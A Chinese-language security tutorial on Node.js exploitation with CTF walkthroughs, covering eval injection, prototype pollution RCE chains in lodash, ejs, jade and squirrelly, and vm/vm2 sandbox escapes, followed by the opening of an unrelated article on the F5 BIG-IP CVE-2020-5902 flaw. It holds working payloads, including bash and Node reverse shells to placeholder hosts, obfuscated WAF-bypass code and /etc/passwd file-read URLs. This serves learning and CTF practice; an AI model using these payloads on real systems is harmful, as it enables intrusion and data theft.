Node.js 是一个事件驱动 I/O 服务端 JavaScript 环境，基于 Google 的 V8 引擎，V8 引擎执行 Javascript
的速度非常快，性能非常好。
### 应用
* 第一大类：用户表单收集系统、后台管理系统、实时交互系统、考试系统、联网软件、高并发量的web应用程序
* 第二大类：基于web、canvas等多人联网游戏
* 第三大类：基于web的多人实时聊天客户端、聊天室、图文直播
* 第四大类：单页面浏览器应用程序
* 第五大类：操作数据库、为前端和移动端提供基于`json`的API
# Node JS特性
### 大小写特性
toUpperCase()是javascript中将小写转换成大写的函数。
但是它还有其他的功能。
"ı".toUpperCase() == 'I'，"ſ".toUpperCase() == 'S'
toLowerCase()是javascript中将大写转换成小写的函数。
同样。
"K".toLowerCase() == 'k'
p神：<https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html>
### 弱类型比较
console.log(1=='1'); //true
console.log(1>'2'); //false
console.log('1'<'2'); //true
console.log(111>'3'); //true
console.log('111'>'3'); //false
console.log('asd'>1); //false
数字与数字字符串比较时，数字型字符串会被强转之后比较。
字符串与字符串比较，比第一个ASCII码。
console.log([]==[]); //false
console.log([]>[]); //false
console.log([6,2]>[5]); //true
console.log([100,2]<'test'); //true
console.log([1,2]<'2'); //true
console.log([11,16]<"10"); //false
空数组比较为false。
数组之间比较第一个值，如果有字符串取第一个比较。
数组永远比非数值型字符串小。
console.log(null==undefined) // 输出：true
console.log(null===undefined) // 输出：false
console.log(NaN==NaN) // 输出：false
console.log(NaN===NaN) // 输出：false
### 变量拼接
console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6
### ES6模板字符串
我们可以使用反引号替代括号执行函数，可以用反引号替代单引号双引号，可以在反引号内插入变量。
但是有一点我们需要注意，模板字符串是将字符串作为参数传入函数中，而参数是一个数组，所以数组遇到`${}`时，字符串会被分割。
var yake = "daigua";
console.log("hello %s",yake);
var yake = "daigua";
console.log`hello${yake}world`;
### 其他
nodejs 会把同名参数以数组的形式存储，并且 `JSON.parse` 可以正常解析。
`console.log(typeof(NaN))`输出为number。
# 代码注入
SSJI 代码注入是一个存在于 javascript 端的代码注入，存在于运行于服务端的 js
代码注入，当传入的参数可控且没有过滤时，就会产生漏洞，攻击者可以利用 js 函数执行恶意 js 代码。
### 漏洞函数
#### eval()
javascript 的 eval 作用就是计算某个字符串，并执行其中的 js 代码。
var express = require("express");
var app = express();
app.get('/',function(req,res){
res.send(eval(req.query.a));
console.log(req.query.a);
})
app.listen(1234);
console.log('Server runing at http://127.0.0.1:1234/');
这里的参数 a 通过 get 传参的方式传入运行，我们传入参数会被当作代码去执行。
process 的作用是提供当前 node.js 进程信息并对其进行控制。
Node.js中的chile_process.exec调用的是/bash.sh，它是一个bash解释器，可以执行系统命令。
> 1. **spawn()** ：启动一个子进程来执行命令。spawn (命令，{shell:true})。需要开启命令执行的指令。
> 2. **exec()**
> ：启动一个子进程来执行命令，与spawn()不同的是其接口不同，它有一个回调函数获知子进程的状况。实际使用可以不加回调函数。
> 3. **execFile()** ：启动一个子进程来执行可执行文件。实际利用时，在第一个参数位置执行 shell 命令，类似 exec。
> 4. **fork()** ：与spawn()类似，不同点在于它创建Node的子进程只需指定要执行的JavaScript文件模块即可。用于执行 js
> 文件，实际利用中需要提前写入恶意文件
>
>
> 区别：
>
> 1. **_spawn()与exec()、execFile()不同的是，后两者创建时可以指定timeout属性_** ，设置超时时间，
> 一旦创建的进程运行超过设定的时间将会被杀死。
> 2. exec()与execFile()不同的是， ** _exec()适合执行已有的命令，execFile()适合执行文件_** 。
>
#### settimeout()
settimeout(function,time)，该函数作用是两秒后执行函数，function 处为我们可控的参数。
var express = require("express");
var app = express();
setTimeout(()=>{
console.log("console.log('Hacked')");
},2000);
var server = app.listen(1234,function(){
console.log("应用实例，访问地址为 http://127.0.0.1:1234/");
})
#### setinterval()
setinterval (function,time)，该函数的作用是每个两秒执行一次代码。
var express = require("express");
var app = express();
setInterval(()=>{
console.log("console.log('Hacked')");
},2000);
var server = app.listen(1234,function(){
console.log("应用实例，访问地址为 http://127.0.0.1:1234/");
})
#### function()
function(string)()，string 是传入的参数，这里的 function 用法类似于 php 里的 create_function。
var express = require("express");
var app = express();
var aaa=Function("console.log('Hacked')")();
var server = app.listen(1234,function(){
console.log("应用实例，访问地址为 http://127.0.0.1:1234/");
})
### process 模块进行命令执行
#### **exec** ：
require('child_process').exec('calc');
#### **execFile**
require('child_process').execFile("calc",{shell:true});
#### **fork**
require('child_process').fork("./hacker.js");
#### **spawn**
require('child_process').spawn("calc",{shell:true});
#### 反弹shell
require('child_process').exec('echo SHELL_BASE_64|base64 -d|bash');
注意：BASE64加密后的字符中有一个+号需要url编码为%2B(一定情况下)
> PS：如果上下文中没有require(类似于Code-Breaking 2018
> Thejs)，则可以使用`global.process.mainModule.constructor._load('child_process').exec('calc')`来执行命令
### 文件操作
既然我们可以执行函数，那自然可以进行文件的增删改查。
操作函数后面有Sync代表同步方法。
> Node.js 文件系统（fs 模块）模块中的方法均有异步和同步版本，例如读取文件内容的函数有异步的 fs.readFile() 和同步的
> fs.readFileSync()。
>
> 异步的方法函数最后一个参数为回调函数，回调函数的第一个参数包含了错误信息(error)。
>
> 建议大家使用异步方法，比起同步，异步方法性能更高，速度更快，而且没有阻塞。
res.end(require('fs').readdirSync('.').toString())
res.end(require('fs').writeFileSync('./daigua.txt','内容').toString());
res.end(require('fs').readFileSync('./daigua.txt').toString());
res.end(require('fs').rmdirSync('./daigua').toString());
### 防御措施
最有效的措施是避免上述功能，同时全面了解第三方模块的代码库。例如，在上面展示的演示eval()容易受到攻击的场景的代码片段中，可以通过使用JSON.parse()实现同样的目标，同时降低风险。
话虽如此，在某些情况下，不仅可以避免易受攻击的函数，而且还需要将用户输入传递给它。在这些情况下，最好的方法是对输入进行验证和消毒。
可以通过已经标准化的函数或只允许特定字符或特定格式的白名单正则表达式来验证输入。
可以通过转义任何可以由脆弱函数解释的字符来完成消毒。大多数框架都已经有了安全清除用户输入的功能。
# SQLi
node.js 的 sql 注入和 php 这些都差不多，都是缺少对特殊字符的验证，用户可控输入和原本执行的代码。
var mysql = require('mysql');
var express = require("express");
const app = express();
var db = mysql.createConnection({
host :'localhost',
user :'root',
password :'root',
database :'test'
});
db.connect();
app.get('/hello/:id',(req,res)=>{
let sql=`select * from user where id= ${req.params.id}`;
db.query(sql,(err,result)=>{
if(err){
console.log(err);
res.send(err)
}else{
console.log(result);
res.send(result)
}
})
});
# 原型链污染
> 在此之前，可以看看JS的继承与原型链
>
> <https://developer.mozilla.org/zh-> CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain>
### 原理
看完JS的继承与原型链，相必已经能猜到原型链污染是什么意思了。简单的说，就是我们控制私有属性(`__proto__`)指向的原型对象（
**prototype** ），将其的属性产生变更。那么所继承它的对象也会拥有这个属性。
对于语句：`object[a][b] = value`
如果可以控制a、b、value的值，将a设置为`__proto__`，我们就可以给object对象的原型设置一个b属性，值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下，都会拥有b属性，且值为value。
object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo);
object2 = {"c":1, "d":2};
console.log(object2.foo);
Object1和Object2相当于都继承了Object.prototype，所以当我们对一个对象设置foo属性，就造成了原型链污染，倒置Object2也拥有了foo属性。
利用原型链污染，那我们需要设置`__proto__`的值，也就是需要找到能够控制数组（对象）的“键名”的操作。最常见的就是merge，clone，copy。
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
需要注意，只有在JSON解析的情况下，`__proto__`会被认为是一个真正的“键名”，而不代表“原型”，所以在遍历o2的时候会存在这个键。
**_模块的污染各种各样，不能一一给出，只能给出具有代表性的几个。_**
### lodash
以[Code-Breaking 2018 Thejs](https://github.com/phith0n/code-breaking/blob/master/2018/thejs/web/server.js)为例。
>
> lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集，其中包含字符串、数组、对象等操作。这个Web应用中，使用了lodash提供的两个工具：
>
> 1. `lodash.template` 一个简单的模板引擎
> 2. `lodash.merge` 函数或对象的合并
>
>
> 其实整个应用逻辑很简单，用户提交的信息，用merge方法合并到session里，多次提交，session里最终保存你提交的所有信息。
lodash.template
显式的lodashs.merge存在原型链污染漏洞，为了对其进行利用，需要找到可以对原型进行修改的逻辑。
options的sourceURL
options是一个对象，sourceURL是通过下面的语句赋值的，options默认没有sourceURL属性，所以sourceURL默认也是为空。
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
给options的原型对象加一个sourceURL属性，那么我们就可以控制sourceURL的值。
JS当中每个函数都是一个Fuction对象，`(function(){}).constructor === Function`
var person = { age:3 }
var myFunction = new Function("a", "return 1*a*this.age");
myFunction.apply(person,[2])
// return 1*a*this.age 即为functionBody，可以执行我们的代码。
sourceURL传递到了Function函数的第二个参数当中，此处可以
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
通过构造chile_process.exec()就可以执行任意代码了
{"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}}
**以下链不进行分析，给出相应题目和WP。**
### ejs
> 主要为两个函数的伪造。
>
> opts.outputFunctionName
>
> opts.escapeFunction
##### **例一**
test.js
var express = require('express');
var _= require('lodash');
var ejs = require('ejs');
var app = express();
//设置模板的位置
app.set('views', __dirname);
//对原型进行污染
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
_.merge({}, JSON.parse(malicious_payload));
//进行渲染
app.get('/', function (req, res) {
res.render ("./test.ejs",{
message: 'lufei test '
});
});
//设置http
var server = app.listen(8081, function () {
var host = server.address().address
var port = server.address().port
console.log("应用实例，访问地址为 http://%s:%s", host, port)
});
test.ejs
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<h1><%= message%></h1>
</body>
</html>
payload：
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}
##### **例二**
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: 'login success!'});
}else{
return res.json({ret_code: 2, ret_msg: 'login fail!'});
}
});
**_payload1_** ：覆盖 `opts.outputFunctionName` , 这样构造的payload就会被拼接进js语句中，并在 ejs
渲染时进行 RCE。
{"__proto__":{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"}}}
{"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); __tmp2"}}}
**_payload2_** ：伪造 `opts.escapeFunction` 也可以进行 RCE
{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');"}}}
**补充:** 在 ejs 模板中还有三个可控的参数, 分别为 `opts.localsName` 和 `opts.destructuredLocals`
和 `opts.filename`, 但是这三个无法构建出合适的污染链。
### jade
compileDebug的伪造
给出上面题目的payload，可参考着看。
{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xxx/1234 0>&1\"'))"}}
{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//"}}}
### squirrelly
**_CVE-2021-32819_**
server.js
const express = require('express')
const squirrelly = require('squirrelly')
const app = express()
app.set('views', __dirname);
app.set('view engine', 'squirrelly')
app.use(express.urlencoded({ extended: false }));
app.get('/', (req, res) => {
res.render('index.squirrelly', req.query)
})
var server = app.listen(3000, '0.0.0.0', function () {
var host = server.address().address
var port = server.address().port
console.log("Listening on http://%s:%s", host, port)
});
index.squirrelly
<!DOCTYPE html>
<html>
<head>
<title>CVE-2021-32819</title>
<h1>Test For CVE-2021-32819</h1>
</head>
<body>
<h1>{{it.variable}}</h1>
</body>
</html>
payload
/?defaultFilter=e')); let require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('dir'); //
PS:以下贴出几篇文章，师傅们可以跟进分析：
<https://www.aisoutu.com/a/1373814>
<https://cloud.tencent.com/developer/article/2035888>
<https://www.freebuf.com/vuls/276112.html>
[几个node模板引擎的原型链污染分析](https://lonmar.cn/2021/02/22/几个node模板引擎的原型链污染分析/)
# VM沙箱逃逸
### vm模块
vm 模块创建一个V8虚拟引擎 context（上下文、环境）来编译和运行代码。调用代码与被调用代码处于不同的 context，意味着它们的 global
对象是不同的。
const vm = require('vm');
// global下定义一个 x 变量
const x = 1;
// context也定义一个 x 变量
const context = { x: 2 };
vm.createContext(context); // 语境化 {x:2}
// code包含的代码将在 context 下执行，所以其中所有代码访问的变量都是 context 下的
const code = 'x += 40; var y = 17;';
vm.runInContext(code, context);
// context = {x:42, y:17}
console.log(context.x); // 42
console.log(context.y); // 17
// global没有被改动
console.log(x); // 1; y is not defined.
### 逃逸
当使用vm创建一个context时，不能访问golbal对象，但是我们可以利用对象带有的constructor属性逃逸。
const vm = require("vm");
const env = vm.runInNewContext("this.constructor.constructor('return this.process.env')()");
console.log(env);
第一次调constructor得到Object Contrustor，第二次调constructor得到Function
Contrustor，就是一个构造函数了。这里构造的函数内的语句为return this.process.env，那么控制process之后就能RCE了。
const vm = require("vm");
const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('dir').toString()`);
console.log(xyz);
### vm2
var handler = {
get () {
console.log("get");
}
};
var target = {};
var proxy = new Proxy(target, handler);
Object.prototype.has = function(t, k){
console.log("has");
}
proxy.a; //触发get
"" in proxy; //触发has，这个has是在原型链上定义的w
"use strict";
var process;
Object.prototype.has = function (t, k) {
process = t.constructor("return process")();
};
"" in Buffer.from;
process.mainModule.require("child_process").execSync("whoami").toString()
关于vm2的逃逸这里不过多赘述，师傅们可以自行参考。
<https://www.anquanke.com/post/id/207283>
<https://www.anquanke.com/post/id/207291>
<https://blog.csdn.net/anwen12/article/details/120445707>
# 利用
### 大小写特性
题目来源于ctfhsow-web-334。
user.js
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
发现`name!=='CTFSHOW' && item.username === name.toUpperCase()`，上面有说过转大写时`ſ =>>
S`
这里直接用ctfſhow 123456登录就可以出flag了。
### RCE
题目来源于ctfhsow-web-335。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CTFFSHOW</title>
<script type="text/javascript" src="/javascripts/jquery.js"></script>
</head>
<body>
where is flag?
<!-- /?eval= -->
</body>
</html>
直接利用eval读取目录文件。
/?eval=res.end(require('fs').readdirSync('.').toString())
/?eval=res.end(require('fs').readFileSync('./fl00g.txt').toString());
或者
require( 'child_process' ).spawnSync( 'ls', [ '/' ] ).stdout.toString()
require( 'child_process' ).spawnSync( 'cat', [ 'f*' ] ).stdout.toString()
### 变量拼接/弱类型
题目来源于ctfhsow-web-337。
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
为了突出特性，不利用`/?a[]=1&b=1`。
a={'x':'1'}
b={'x':'2'}
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
我们发现一个对象与字符串相加，输出不会有对象内容。
/?a[x]=1&b[x]=2
### 其他
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
8c，2c，逗号都被过滤了。`urlencode(",") = %2c` 发现 `2c` 也被过滤。
上面有说过：nodejs 会把同名参数以数组的形式存储，并且 `JSON.parse` 可以正常解析。
/?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
直接构造同名参数，绕过逗号，这里把 c进行url编码，是因为 双引号 的url编码是 `%22`，和 `c` 连接起来就是
`%22c`，会匹配到正则表达式。
### NPUCTF2020-验证码
const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');
const fs = require('fs');
const crypto = require('crypto');
const keys = ['123ewqrqwwq']
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
function saferEval(str) {
//let feng=str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')
//console.log(`replace: ${feng}`)
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
//console.log(`the code will be executed is : ${str}`)
return eval(str);
} // 2020.4/WORKER1 淦，上次的库太垃圾，我自己写了一个
const template = fs.readFileSync('./index.html').toString();
function render(results) {
return template.replace('{{results}}', results.join('<br/>'));
}
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
app.use(cookieSession({
name: 'PHPSESSION',
keys
}));
Object.freeze(Object);
Object.freeze(Math);
app.post('/', function (req, res) {
let result = '';
const results = req.session.results || [];
const { e, first, second } = req.body;
//console.log(e)
//console.log(first)
//console.log(second)
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
if (req.body.e) {
try {
console.log("you can eval")
result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
} catch (e) {
console.log(e);
result = 'Wrong Wrong Wrong!!!';
}
results.unshift(`${req.body.e}=${result}`);
}
} else {
results.unshift('Not verified!');
}
if (results.length > 13) {
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));
});
// 2019.10/WORKER1 老板娘说她要看到我们的源代码，用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./test.js'));
});
app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
req.session.admin = req.session.admin || 0;
res.send(render(req.session.results = req.session.results || []))
});
app.listen(39123, '0.0.0.0', () => {
console.log('Start listening')
});
第一层判断
`if (first && second && first.length === second.length && first!==second &&
md5(first+keys[0]) === md5(second+keys[0]))`
这里用之前讲过的变量拼接来绕过`{"e":"2-1","first":"1","second":[1]}`
然后就是 `result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';`
function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
} // 2020.4/WORKER1 淦，上次的库太垃圾，我自己写了一个
这边过滤了很多。利用constructor这个构造函数属性可以拿到Function，然后正常rce。
Math=Math.constructor,
Math.constructor("return process.mainModule.require('child_process').execSync('dir').toString()")()
但是字符串是被过滤了的。这里进行字符串的拼接。
Function(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,
99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,
46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,
95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,
121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()
一般的箭头函数都是用`{}`，但是因为这题只能用括号，而正好有用括号的语法，所以也可以用括号。
(Math=>
(Math=Math.constructor,
Math.constructor(
Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,
99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,
46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,
95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,
121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()
)
)(Math+1)
>
> 再分析一波的话，就是首先一个箭头函数`(()=>())()`的自调用，传入的参数是`Math+1`，也就是一个字符串，字符串经过两次constructor同样是Function。
>
> 类似`Function()()`的格式，里面的函数也同样可以调用，成功执行代码，得到flag。
### 原型链污染
#### （一）
题目来源于ctfhsow-web-338。
login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
发现`utils.copy(user,req.body);`，可能会存在漏洞，接着看common.js。
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key] //漏洞产生点
}
}
}
我们需要使得secert.ctfshow==='36dboy'，去拿flag。
这里的 `secert` 是一个数组，然后 `utils.copy(user,req.body);` 操作是 `user` 也是数组，也就是我们通过
`req.body` 即 POST 请求体传入参数，通过 `user` 污染数组的原型，那么 `secert` 数组找不到 `ctfshow`
属性时，会一直往原型找，直到在数组原型中发现 `ctfshow` 属性值为 `36dboy` 。那么 `if` 语句即判断成功，就会输出 flag 了。
{"__proto__": {"ctfshow": "36dboy"}}
还有一种解法：利用ejs模块RCE。
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxx/1234 0>&1\"');var __tmp2"}}
#### （二）
题目来源于ctfhsow-web-339。
login.js
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
不能直接污染了。但是我们发现一个api.js。
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
当我们访问api.js时，可以调query的function，与上述p神出的题非常类似。写个测试代码看看。
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
user = {}
yake = "daigua"
body = JSON.parse('{"__proto__":{"query":"return yake"}}');
copy(user, body)
{ query: Function(query)(query)}
可以发现，query的功能为return
"daigua"，在copy时，相当于给Object对象添加了query。那么，当然可以在这里构造一个函数，进行RCE。
有一点需要注意，require可能不会被识别，需要利用global.process.mainModule.constructor._load。
因为 node 是基于 chrome v8 内核的，运行时，压根就不会有 `require` 这种关键字，模块加载不进来，自然 shell
就反弹不了了。但在 node交互环境，或者写 js 文件时，通过 node 运行会自动把 `require` 进行编译。
{"__proto__": {"query": "return (function(){
var net = global.process.mainModule.constructor._load('net'),
cp = global.process.mainModule.constructor._load('child_process'),
sh = cp.spawn('/bin/sh', []);
var client = new net.Socket();
client.connect(1234, 'xxxx',
function({client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);});
return /a/;})
();"
}
}
在login传入，然后访问api即可。当然也可以污染ejs模块RCE。
### HFCTF2020-JustEscape
主页面提示在run.php中的code要进行编码才能运算。
<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
$code = $_GET['code'];
echo eval(code);
} else {
highlight_file(__FILE__);
}
?>
js中捕获异常堆栈信息—Error().stack。传入 发现是vm2的沙盒逃逸。
直接用别人写的payload试试<https://github.com/patriksimek/vm2/issues/225>
const {VM} = require('vm2');
const untrusted = '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
毫无疑问，waf拦截下来了。
`['for', 'while', 'process', 'exec', 'eval', 'constructor', 'prototype',
'Function', '+', '"',''']`
上面有讲过NodeJS的特性，可以用[`${`${`prototyp`}e`}`]代替prototype。
也可以[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`]。
(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();
}
})()
# 参考链接
<https://tari.moe/2021/05/04/ctfshow-nodejs/>
<https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html>
<https://www.secforce.com/blog/server-side-javascript-injection/>
<https://www.wangan.com/p/7fygf340ff9cd58b>
[几个node模板引擎的原型链污染分析](https://lonmar.cn/2021/02/22/几个node模板引擎的原型链污染分析/)
<https://blog.csdn.net/rfrder/article/details/115406785>
<https://xz.aliyun.com/t/7752> | 社区文章 |
# 小妹妹，我想握着你的手，不为别的，只为给你讲清楚CVE-2020-5902
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
抱歉，来晚了，其实这个漏洞一爆发我就关注了，但是由于上班，空闲时间比较少，就没能自己上手分析，只有看看各大媒体或者安全研究人员公布的漏洞复现方法，但是我发现大家的写的东西都差不多，没什么新意，也没有一篇文章认真讲讲这个漏洞产生的原理,这就让我有点好奇了，于是周末花了一天多时间来复现分析这个漏洞。
本文主要记录在复现分析本漏洞时候遇到的问题及解决思路，希望能够帮到大家
## 环境搭建
之前各大媒体发布的漏洞复现都是直接到zoomeye或者fofa上找的线上目标，我就以为这个产品是需要付费购买的，结果到官网一看，BIG-IP是可以申请试用的，于是就下载了BIG-IP的虚拟机进行复现，也方便后面调试分析。
到官网这个页面选择你想要下载的版本：
[https://downloads.f5.com/esd/product.jsp?sw=BIG-IP&pro=big-ip_v15.x](https://downloads.f5.com/esd/product.jsp?sw=BIG-IP&pro=big-ip_v15.x)
如果没记错，我应该选择的是图中标红的那个版本，点进去,继续选择要下载的版本
因为我的虚拟机是vmware fusion，所以我选择的是图中第一个虚拟机镜像进行下载
在vmvare fusion中直接 “文件->导入” 刚刚下载好的ova文件，然后就可以正常启动BIG-IP虚拟机了，账号密码为root/default，登陆过后应该会提示修改密码，注意，这里修改了密码过后，好像也会修改后面的Web的登陆密码。
启动虚拟机过后还要进行IP的配置，这里我就不展开了，具体操作见
<https://blog.csdn.net/ice_age1/article/details/49998059>
这篇文章步骤很详细，基本可以解决所有安装问题了8
安装好了过后，在浏览器访问：[https://虚拟机IP/](https://%E8%99%9A%E6%8B%9F%E6%9C%BAIP/)
就可以看到登陆界面了，账号密码默认为admin/admin，如果你修改过密码，密码就是你修改过后的值
登陆上去输入license激活产品，但是其实不激活也不影响我们复现该漏洞。
## 漏洞复现
环境搭好了，现在我们先来复现一下漏洞，只有复现了才知道怎么分析嘛
读文件：
`https://192.168.133.128/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd`
执行命令：
`..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin`
该命令会列出登陆了的用户admin的信息，如果此时admin没有登陆，自然就没有信息输出
我这里就简单复现这两处，其他利用方式参见jas502n师傅：
<https://github.com/jas502n/CVE-2020-5902>
## 漏洞分析
在我看来，学习一个漏洞，不仅仅是学习这个漏洞的产生原理，还要学习作者的挖掘思路，以及这个漏洞对应的应用的特性或者使用场景，这样才可以最大程度地丰富我们的知识储备，所以我每次分析可能都会去揣测漏洞作者是怎么挖掘这个点的
分析过程有点曲折，大家将就着看
我在分析之前，先是看了一篇别人的分析文章（这篇文章后来被我发现完全不正确，也是我在分析本漏洞过程中最大的绊脚石，因为文中错误的分析先入为主了），然后大概明白了问题所在，那篇分析文章里提到了这个漏洞的成因主要是servlet中的鉴权问题，也就是代码实现的问题，但是那篇文章中没有提到作者是怎么发现这个漏洞的，难道真是一行代码一行代码看的？
为了更好的弄清楚作者的挖掘思路，我决定自己看一下那篇文章中提到的漏洞点，动手调试一下，就当是先熟悉BIG-IP
因为BIG-IP这个应用是集成在虚拟机里的，不像是其他应用直接提供源代码或者安装包啥的，所以，我想，第一件事就是从虚拟机中把代码给弄出来吧，BIG-IP部署在虚拟机的/usr/local/www下
这里，引出来第一个问题：
